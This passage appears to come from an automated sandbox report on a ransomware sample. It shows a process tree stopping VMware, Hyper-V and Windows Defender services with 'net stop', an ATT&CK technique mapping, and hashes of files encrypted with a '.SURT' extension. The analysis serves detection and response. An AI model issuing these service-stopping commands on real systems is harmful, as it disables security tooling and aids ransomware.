  PID:8048
- - C:\Windows\system32\net.exe
    net stop "vmicvmsession"
    3⤵
    PID:8228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicvmsession"
      4⤵
      PID:6900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicrdv"
  2⤵
  PID:8436
- - C:\Windows\system32\net.exe
    net stop "vmicrdv"
    3⤵
    PID:8176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicrdv"
      4⤵
      PID:2748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmictimesync"
  2⤵
  - System Time Discovery
  PID:5740
- - C:\Windows\system32\net.exe
    net stop "vmictimesync"
    3⤵
    - System Time Discovery
    PID:7904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmictimesync"
      4⤵
      System Time Discovery
      PID:9288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicvss"
  2⤵
  PID:9244
- - C:\Windows\system32\net.exe
    net stop "vmicvss"
    3⤵
    PID:9316
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicvss"
      4⤵
      PID:9372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VMAuthdService"
  2⤵
  PID:9340
- - C:\Windows\system32\net.exe
    net stop "VMAuthdService"
    3⤵
    PID:9400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VMAuthdService"
      4⤵
      PID:9436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VMnetDHCP"
  2⤵
  PID:9384
- - C:\Windows\system32\net.exe
    net stop "VMnetDHCP"
    3⤵
    PID:9492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VMnetDHCP"
      4⤵
      PID:9512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VMware NAT Service"
  2⤵
  PID:9472
- - C:\Windows\system32\net.exe
    net stop "VMware NAT Service"
    3⤵
    PID:9988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VMware NAT Service"
      4⤵
      PID:9984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VMUSBArbService"
  2⤵
  PID:1956
- - C:\Windows\system32\net.exe
    net stop "VMUSBArbService"
    3⤵
    PID:9900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VMUSBArbService"
      4⤵
      PID:5512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VMwareHostd"
  2⤵
  PID:3660
- - C:\Windows\system32\net.exe
    net stop "VMwareHostd"
    3⤵
    PID:7128
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VMwareHostd"
      4⤵
      PID:7696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sense"
  2⤵
  PID:7444
- - C:\Windows\system32\net.exe
    net stop "Sense"
    3⤵
    PID:1272
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sense"
      4⤵
      PID:7324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "WdNisSvc"
  2⤵
  PID:5824
- - C:\Windows\system32\net.exe
    net stop "WdNisSvc"
    3⤵
    PID:9800
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "WdNisSvc"
      4⤵
      PID:9788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "WinDefend"
  2⤵
  PID:7452
- - C:\Windows\system32\net.exe
    net stop "WinDefend"
    3⤵
    PID:6036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "WinDefend"
      4⤵
      PID:2724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\AdSelectionAttestationsPreloaded\ad-selection-attestations.dat.DATA.[[email protected]].SURT

Filesize
489B

MD5
0a123ade17c91568c1ef63237f4ad55b

SHA1
bb70e54e9ac2740724ef11fdc0e12847817b4f7a

SHA256
cc67f6929dd2261d55d77f4c2c984b6f22e38beadd5ad68e5d0aea4250f02d1f

SHA512
551d3dd01b08ac3d5fd0daefeccf5f76b6e7c80c4a31cade474ac2e1598baea0b94017ecfdac953702a43034c8c72c8cc28125b9dc2b88588bf3ae47c88c5814

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\AdSelectionAttestationsPreloaded\manifest.json.DATA.[[email protected]].SURT

Filesize
569B

MD5
4f9db956e5494849cbeff96840fac7c8

SHA1
419c20c6ef67f3ba914d7c937ef2d2ed1785bdf0

SHA256
a359b9ca424f8209e95ab5ab6e0ccaf44715afdc773356c4fb040504ab6f026f

SHA512
3417be50336a397b0e42390ac04faf81accd1d26c2989fd49e49c46a9be3d2600f669ef8de281b450d2e4c35846e8e79d3b0610c44994e7f57d7b418c96d9f8e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Edge.dat.DATA.[[email protected]].SURT

Filesize
12KB

MD5
a59be069c0a5f5aa1f9c0489159baa49

SHA1
22813697daeb105a732fbdaeaf61ab5740cc7c95

SHA256
0647c5a4afc5c3bf019058c5832110b125be7b1f1b1262ddf8a8e134f6f912f8

SHA512
da117cfac90be950adcc6893da778eee9b5f5201e845d62e6f600b68b029bb307829a78608f315da70933ed36cfafd329b2454f80a250099b81fa5f24a26a6b9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\EdgeWebView.dat.DATA.[[email protected]].SURT

Filesize
8KB

MD5
e285382b51a2533c7bb77949e33d8e2e

SHA1
d17219bcc2bb54d289d63755cab1fb3f5f0e2af6

SHA256
1fecec2bca80372c5c88a70ade5182ea084c516c668b8b8d2fc034839a0461ae

SHA512
0bd7b38e85a45da38e6c800322863fbc01520da6969c0c8d7e17bd59bc75025a0b3a51a4cd243a23117e91a2cc4102f9a9688b4358baa61c81a9717fcce9ea9a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Extensions\external_extensions.json.DATA.[[email protected]].SURT

Filesize
537B

MD5
f95844e163c11a58ab6f22dbc8f43612

SHA1
788423cd725e7658abb5520ea39c0a8535189031

SHA256
5d93e8048ec42ea29d60dbe5bd145281cb437bf95509305dab8b2f79df235b1c

SHA512
313bf2e67b75831fd07d8def8852d2d7319693f16342ebdac715f8a66098c9f294cced0be08c44cd84fb838b681dcacef67760ebe5acdaa097c8eda923ff8777

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\MEIPreload\manifest.json.DATA.[[email protected]].SURT

Filesize
665B

MD5
59ed914adb9957c1b42bc723bce7a685

SHA1
95a64dd45d15b87a5351e5d7ff7d1c6605e71c44

SHA256
3d800d5f086cf46b1e0200d7a92a4ec933264a080b364968a5fe0258bef5032a

SHA512
af36b4fb3c55789c23c516932d7363031edef006fe0662d5f5b1785dff7fd542042d033c21b4600ca79541402b36ffa24686e1584e550168a70578feb0ddea07

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA.[[email protected]].SURT

Filesize
8KB

MD5
c7b432e8276d1f9b1246f70d4464d939

SHA1
7e8bc3469158dfa3c941fb7534eb3714be915845

SHA256
8ec805c4971e0303ff9c90a7a0d9db087e0b67fec4e130b1f6b9c37c020fa5ff

SHA512
a313c89166123dd1b0c3c0a440e78e352e4375f256c42c99219aa6ed62fe33277cc452039068732cc53f4e40eb8fb71d96a3e158f3d45da9ea74985a2677b056

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\delegatedWebFeatures.sccd.DATA.[[email protected]].SURT

Filesize
18KB

MD5
ca727b63c289bf69d9df28b412f8fac9

SHA1
d3baec172b847c4e9ae1aee65ef576b37fe1fa16

SHA256
2245253eb45055ced2d278d9c55e5502ac2954a5f4d6a20fd5c10d1411ddf518

SHA512
59815e57090dd156436c1e1f170820aea98e5c02371700665f15561b7da2e0d7f52c664f8d7a237b19ea1a51a20c12bdf8224dbd073b253ecb7472648314769c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\edge_feedback\camera_mf_trace.wprp.DATA.[[email protected]].SURT

Filesize
24KB

MD5
335f85c86e7636b51303bfd3c7f3de7d

SHA1
c58be42d741044a373c2026ae1dda162ed06a5db

SHA256
803106b2ee118a93137fc4f6660ffb0a985566913e9af5ad7db480d17565d4c9

SHA512
20b043fe557b4a08129edc576f16da69d91805577d1c611d365a9abc2e9ad3970f0f991dec6414a3ef9976839843bbb0e9b10bf2551af6b409d40841ba6a0640

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\edge_feedback\mf_trace.wprp.DATA.[[email protected]].SURT

Filesize
12KB

MD5
5d899ac40997a0324fe04c32d1ebea06

SHA1
6a51eaa7e99ccdb7cead04ca4c2b9f249262eb35

SHA256
24e4c002d8e4ae5c7bd85f6293ba030d02a22c8040bd0cb45701ffb5ef21a1a4

SHA512
26e0567d70e7bef7b7331f3257c0fa55ab81b2488546dc0d725d768978fdde299e21cc5956021fc13dd280088e49cd8894672973dbe54c2288dfbb90a1ddafcc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\edge_game_assist\VERSION.DATA.[[email protected]].SURT

Filesize
441B

MD5
322490db256aabba7dc727c41655fee1

SHA1
a5e5fb8a5f111b933d25c6842eb0b4d1bfa58bd2

SHA256
7c0007bca3a64520e078106e9af6128a42445f58e48f4cc14055a214bc612ffe

SHA512
6af28ef61dbb97ad75bec89c64ea2de9bf1a45a1563740d57a668d64ac98ffb6570663d530763e3f97823f3599e824f4a61a1c68a5a133fbc8a987ea5a2fd9d6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\resources.pri.DATA.[[email protected]].SURT

Filesize
4KB

MD5
dfa31563ac9fe918ecd9e71f86b14ec7

SHA1
1123180115369d7d24cd96dbf1310f85001a7870

SHA256
55962a8583d378f93b2628cdce43cb701fd0d2621d51724eafe6f6220b1bc64e

SHA512
208f3cfb1d67deacef05d2efbf6c544f3f4957c3a43c224c87458ce370e69b70bd2ee806221fc753db51580b9dea59c9030a1045ce4b877efc3ef02d9591462d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Beta.msix.DATA.[[email protected]].SURT

Filesize
54KB

MD5
6d50fc3ed48dc3bcd6edcb606830fe82

SHA1
8d0a5119ead069ba1c0ce1bfea3d04d90ceedcaf

SHA256
0e4006e9a38c0f9b18a9b8fc05f76996eed63b7fc4cb1291b1bae32b3dbe80f4

SHA512
3e0659e6328b32020553a51a2cb009eb076c41fd6ca99a6fc59e67e811dff37f257a31432c87c90e5a79f32c32ecf0e70353789a88416d2f137e504c88d39cc4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Canary.msix.DATA.[[email protected]].SURT

Filesize
53KB

MD5
f8857e3b018a11f3df6c6267857e4aa7

SHA1
fcdcb3574397262dceb8f0141eb815b255a9f9cf

SHA256
8925b816ad96fec933118c40c8bc920549a4c60f65d53519780809d4200c40d9

SHA512
399c443bbbb7b1b5dc44d4dff3d0705266b799fff4e803e5cffc32393137f1e358c4e166af6382a42833ca76abcbecb962654a01a3b76718cb6d55623b5dde77

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Dev.msix.DATA.[[email protected]].SURT

Filesize
53KB

MD5
55c7126125773e71a4ef502f8ab07d65

SHA1
424c8f020aafc504f9de29c38cd2c977a5825f4f

SHA256
869c5302b469eabe3c64c09e37a122db21d77f53bc59589d02cf580a89d7ef73

SHA512
eaf567290b435e2b39ae51ee234f5646fb78489b074bfda005a81c282716bc33c5e8fa0f9d28139ab02d8d4ab2ba7fc7e96489b5e327f7feb4a13391ab175131

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Internal.msix.DATA.[[email protected]].SURT

Filesize
57KB

MD5
83e9bb48749aebc2f675fae5f60c5b01

SHA1
c14b218fdb630082992c1be6291d1d8197e10aaa

SHA256
20e5ecb0dea2eda5c291ae937ffbccf3bbe1ca9b48ed2f5952a1b09e3125800a

SHA512
121b6379b31eae7d682750126f8178909e59a860f78998fbb4c025c9cd836127a14d870e65322e01a8ac9b3480f1ba231de24cfd00915860ed0271bb3d1e8356

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Stable.msix.DATA.[[email protected]].SURT

Filesize
57KB

MD5
e307f3b4cbfe66b7875ea9eab81b0f26

SHA1
763f86b361024a8966f31658b02fc1c4c3a4953d

SHA256
13941730a790c11c119e442a109258f22eb843a4500b345b8247c77f6b35c5d9

SHA512
b4fd0eedab0148f0ccc313f243eb9aee6cfef66156bf590b1a6c41555aa1d8cb1e7aec48ec9b198ea61eb831282175bb1e4c65753220d4fea50a52c15855ebaa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Beta.msix.DATA.[[email protected]].SURT

Filesize
54KB

MD5
7253a1ded0ce7a8ff7d1794a444056b5

SHA1
4a2028d5016faee1549393a82436aebd6a8abc94

SHA256
5269555bc7ff07f53ef2def9a10c376e37d29f3e91bf1ee0aa39e05c5fb07f3e

SHA512
31a1c07af341976c16be1eaf61e1ae571e074654e13c98e182a6a261dc02a3aa89d58b1bb471475f4596f79d27e95b1c54110d57aa24cffd37f2a0645de5b603

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Canary.msix.DATA.[[email protected]].SURT

Filesize
54KB

MD5
744b605420356fb75b6680aa46f859a5

SHA1
e8a9eb941532a270e8216192dc001ff7264465b9

SHA256
64ac4bbd2dd679343bd9be95fb43059cbd80a964c16572b101566a0934f75e06

SHA512
98875c071138850dd5be1fd5c80eb0e885424b59bbfd46c128cb00aab0c05ccb372b1c171f4775665db81a33d3ca42de2cb2d3bd22d69f14fe3a048c6c6ec8d6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Dev.msix.DATA.[[email protected]].SURT

Filesize
53KB

MD5
45c25b3e117d703e4b980d631d85c0bf

SHA1
8094f128042a7d8df352f764edf31a5830b7ef98

SHA256
a6625c699bbcda911ec53a3527248a08a63d26bfd5ab0cf49f9b70c1f812cb46

SHA512
830959b4661cc3ac0953e50dd5e5a6151361225bbfcbe71a5a9d2949d811e051d2273bacc79fbd8b2e6e93f5a7d3afefe9293582ac88d773743e4248dccb57be

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Internal.msix.DATA.[[email protected]].SURT

Filesize
57KB

MD5
74ec43526d5be1969237c2a1071d4ea6

SHA1
a6880d0e036b9bce1a1dab78dc049ffa1321146d

SHA256
ed9879738daa56b7e597d08478e68f30b303fb52d4e67620bc3cb811aadf6d0e

SHA512
e87b37dce6f1ef4875518e70b203dac07c23bcfb11f579f47c16056f0d0677eb5a957013f77dea641fcb091e8456acada31649f965ddd9fa5218dad4f7717733

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Stable.msix.DATA.[[email protected]].SURT

Filesize
57KB

MD5
31838435770438a5be28467a368b2765

SHA1
fbbc4dd86042c8bc42580594ae67775d3d1c9e2f

SHA256
fabed78e0570559b2e67cbaa0358a2d406738bd52761d1f08de53c60485d8cd4

SHA512
a7bb738bfda40846f7a1ee0be21d2e5911de2ddd3e7b274dfa5d9bcaca090ca9017001f5040c6fab706ef3ab1e5a57030e6ad33c31bcde4a64dc8fc1aa44bb73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedge.dll.sig.DATA.[[email protected]].SURT

Filesize
1KB

MD5
ed6ae69d382158e312e64c1bc4a37510

SHA1
0eaec2e1f46e8d3c17f121141e257e89b8128626

SHA256
6aecc872382f3642b9b2e80862ea03f9cb76644e7f0a613a643fadc34dc4a1e7

SHA512
bb2b7ac99b2511e7c96f34e0e01f7d839162d44a0cc7b56e4963f7e429543996783a1543aabfa6825ff288841fad7a43d89ac120d3608217f9886dc913933b12

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Advertising.[[email protected]].SURT

Filesize
25KB

MD5
2cb0bdacd4ee71e180a707977ffe3c17

SHA1
64375b845de11498743e063e9a991d56f2eebccb

SHA256
2c6ed7b49e757c1e7fe5cade032f9680c181f45a175f8c74cc69b31d47011429

SHA512
eb76c56d8bb958680a0e8a70c8473bb19bd118edd8800c360e29dc633c72ecfcf3b146ee5c46094fa0e09255f4342f1d6ead47848b87825947ccf0d078229414

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Analytics.[[email protected]].SURT

Filesize
4KB

MD5
a49b45369a7f3781d2c72c73c8367194

SHA1
109a6dfc906d8f57dcf0d2164cd3dba315c3deea

SHA256
694787be630b52aed0108d015787da5427960ba0c74ad0118cd8ed00a27ade7b

SHA512
76327dad125e641156f5c4c46d0305adedc8dde163291e2dee8998f60677f45c599f7f52ca5d02100d788d3eba2d6dc15c4ed3d4b2f80f5a996621c497487223

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\CompatExceptions.[[email protected]].SURT

Filesize
1KB

MD5
e9eb68c94748a363a018ce3ff9e565ec

SHA1
7c73d6d650527a4bf4c4a2d7e2e72777d595609b

SHA256
147135d81b9ce49b3fa19004706b52f3029060abe5fbbec70a1189f4993864b1

SHA512
9452ae3ea32bee49d286fd52cc4ff85de06797b00fedff93ca536c3d7dfe62c9cb8b425275d8469fd76f782e9ab573c25dffcde059cbc3e0f3cf0b20fe5147ff

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Content.[[email protected]].SURT

Filesize
7KB

MD5
452ccb2fab51f24af39c1949cd089eef

SHA1
8b07887437895907b3f8f3c2bb76f90ddfe4b8bc

SHA256
dc961f07ab8fd69d6578e8eacfa83d271dade9557cfd6ba0e6eb0eb55ef8faf1

SHA512
65a62da229b0d9c03139c849b4c66746a1b0a85f089cd96e7f21fef98ad4c2652814061a654e3c1f18956b117117437470dfc9937bf67bfed9821853245a374f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Cryptomining.[[email protected]].SURT

Filesize
1KB

MD5
a3d8238ad39c09f0c73647eefbfbd236

SHA1
73d00041eb99a589f27938cf1df810e36dac86b6

SHA256
b4a2b63893e697d38f30bc0162b6f642c38023033c0b2a13e7e73f964bfeab25

SHA512
e78004f84ca409a7ffbdff202540e1abdad020c06fbabafd09e3dfa6a9b2a56598a562d853cdf70385f778d9f3bdd1bf9ff1d17cbfaf73d4d8a8c4d4b55cc808

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Entities.[[email protected]].SURT

Filesize
68KB

MD5
b440a9cb8db17ca35dafd1698f6d0437

SHA1
d6cb3b967c9ec107280e5d939b77ed1002f41b2a

SHA256
faec1ec53716bf43cae6c715231bd24eb26bebe80c6c16115696ecd9c7e13995

SHA512
d83db3e05e6e4bb9045f09d2eac9a2f793d8481f14ca3647457d71a4878e7fed9b73da71aabfa74a088643461e1c559bdf60e433e980696a6f51600405a2e00e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Fingerprinting.[[email protected]].SURT

Filesize
1KB

MD5
df178432ea900918e1f70d4b4d4a4b6e

SHA1
d371387e2b9ef04198e10e2d080d45d4a5432d46

SHA256
30b2eeab5e50abac8beb315abb4cdc3cf1ccab3ec8a26c02e23f877ef99be0e4

SHA512
ebd7779bf4295b61386c412e355e4351a58420618f54e4e021abed30fcc6743082d3128979f5ec7cf600bb975b1394652a6ff424c7554e861f14eb11e90ec4bd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\LICENSE.[[email protected]].SURT

Filesize
34KB

MD5
db1de73b688289166b75c41c54df677f

SHA1
c8f0acb1e8ccf9fbe9cd131bf55c14c0599d42f9

SHA256
17b342637b99f5940a9ba8c5977dcf773ba883166d3cfb3a580941b8edcc8793

SHA512
1631e43be29ba84a2c8cb3923c537e1814b42897f5b7e0217455418b49029f28c8e8cd61e45c0bb3cfb1da1ffe94bf039b404deff2f62be289072c689499ed58

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Other.[[email protected]].SURT

Filesize
473B

MD5
b2b58735ab60061f83533dbc29119c9e

SHA1
4e7b85df3174b8a215c8c096bcf46ba31a0876df

SHA256
577173809859998b7602369c550b897f6afe0db18c467f8b3b3ef561adf6f7c6

SHA512
a827616cc96735f572724ca299efa4b255c866a163f7fe3da8b9205c7465831aac8e36be22f1d00281beff9315ce9f97203642bab5d0ecab4274732fdc7af5e7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Social.[[email protected]].SURT

Filesize
793B

MD5
7f9916cd2c27cba00ac4b18da9caaf92

SHA1
8be2f20493011642f9d6fcf30f343bd7f98e9678

SHA256
ab53a38d2e06fc3926865b13fe15eb7d17ff9a51c85119c1079405c6804c8a62

SHA512
be3684a33e891df6720790f31dc8161922561947eb591aff490a9daacc17c3e4ee53baf2919f52d3243c2876831d4c96f2a99e147500b000a10d56b9a32ee03a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\TransparentAdvertisers.[[email protected]].SURT

Filesize
537B

MD5
82dc62c871ce4d08e43cc7e8bff79c59

SHA1
a8765e13b3d53adef0be2d5f0b435d006619f65c

SHA256
ed66376f4d9b5ed263f7a9180061d635d3123d715d288e2616cedb718793db58

SHA512
62cde40a629f320945cba2a9a3c39d7827ce62d3f3f0cceb030170aefc8325ef4643486f5ff1d89d606825acaf2d07ce0a3c0b94294f617322ce82a87e9c4290

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Advertising.[[email protected]].SURT

Filesize
2KB

MD5
5f1cabc6f3ecd0db48a3a88d463d7e67

SHA1
558a19abd12394eb91e8377d17bd532a245e6b0d

SHA256
6a6bad51d31e3949614e8561a85f1cdef24e6c539fa28f8e6cacb43c6fb0058e

SHA512
6473690cd81444c10795b056b4a4572c700895f7926b0e385fa724d4db24d2b6f3c9cfdd9c69b72e82bf42bafcd8007428e5adae4aea9610c7f4a489365a827b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Analytics.[[email protected]].SURT

Filesize
873B

MD5
2522e905d9c300457addc4228064b49b

SHA1
b94e57ab341b5db14a8217e454c282cc6bda2b1b

SHA256
6372076fa7fd1bfaefdce8f72d2dc5dc305a2fe601e577317952fe785d306fe2

SHA512
745e17497542f35f06c3ba5c102b7f52120b92c04eea1120eb9694675f3f2ee632e2f1f244cbf412379d77c2abff189abc3e267a2d9e22512319d0d488c27237

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Content.[[email protected]].SURT

Filesize
489B

MD5
cd6afc3b5eaeaa20d6592ff47173ad31

SHA1
134a02d1b2a03039ae787bf8828a33d6d2b34501

SHA256
9e74dc07dbe8abd2a60174fa7d3c853a6ec88c73512ceb73e00f3c5ef9f3a370

SHA512
ffd35f91b373f2990b473a31684449276deff4b888c9d21e06754d4ad032657d81d410e0a4e94ba427473c2869bd1a997f7da1b035758ea68efdd8f933509d0b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Cryptomining.[[email protected]].SURT

Filesize
473B

MD5
b32eb404117b25eb457eea9de513b3b5

SHA1
83b1d752a2bb58338db381106dd3857923dbdf4c

SHA256
745b3f7a5be72f92f1f4abcae3b4fd86e951601d3eb7b9a611bf481dec9647fb

SHA512
e0eb61766de66d9d2fbd80edd5fe0c3a411878bbd66d0a002e3709e09538ceea28165667a2739ec4c07f47d08cef8261c0cdc92f4486bb425758bed19396dd6f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Entities.[[email protected]].SURT

Filesize
42KB

MD5
a426f0afdfff32f8595904ca6da63e26

SHA1
79c0f72dbeecdcd8f1b0bca8b04f71015c3ddebc

SHA256
ee6857731b750a60505dd3d1c0c494fe29971dc764bbe26df2126c02f26821f1

SHA512
51a4625695017bb0b8818283ee906a194c746aa679bb04fa11eb024ab6c992401b1ab46cd65b90be2fb4b6911504a9d13c1af38ad9babe7d6de7096b206fdcdc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Fingerprinting.[[email protected]].SURT

Filesize
601B

MD5
1ece6f11c57078e6cb147e09e2c5ef6e

SHA1
140b76169e0e03ef378a18c83c558f1b51e6bd74

SHA256
4865937bd7739c97a04c6970e614cd19f5659187da23e54ddad8a7913a221a79

SHA512
8f9aefa62cc6e899c9c39141e739e0e3557837c5a99e5e5ccf7f8b3a486b88f2bc8155c7818f6d7d80d1bd86805e116ad810eaed5ad1b0fe08b71e19bebd090e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\LICENSE.[[email protected]].SURT

Filesize
505B

MD5
f2f57d77340f23f9d1a5a6294fc933d3

SHA1
5de4d64b7c5c0716119e2146de9fb7be53112072

SHA256
ae861df08c9f1a33ab2514b63056acfc4e68888afd958f36bdd268f8b20557cb

SHA512
fab6fb436f1b1d5ad5f607b03681ac67738e065400aa02375ccc3e4892eef546693a3bc2b5450cb0a1b9bc8c4dbad3e3c9f52a0ceb48afde26d751ad11b5b5df

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Other.[[email protected]].SURT

Filesize
521B

MD5
40d3af9eb34fbbcbe208df6161839fc7

SHA1
0e54d8e630598887e2f9293827de0a77a9ac4e8f

SHA256
f877c470e73122332b7b3b10f4aae9d9132925180a5b65278b82c0b52d328d09

SHA512
8f6d22d7b44ca04754911c880dfb1efc0b770a691088382a7a2e0175b8e27c01fa7eb8084587a5c68dfe722a87dd873b876643d885097cbfb39f08a53851cf53

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Social.[[email protected]].SURT

Filesize
3KB

MD5
62911ee680050d3b24e1a3f2cb2c1bce

SHA1
3a3a43b4134a897e2dab02883409846ef4014364

SHA256
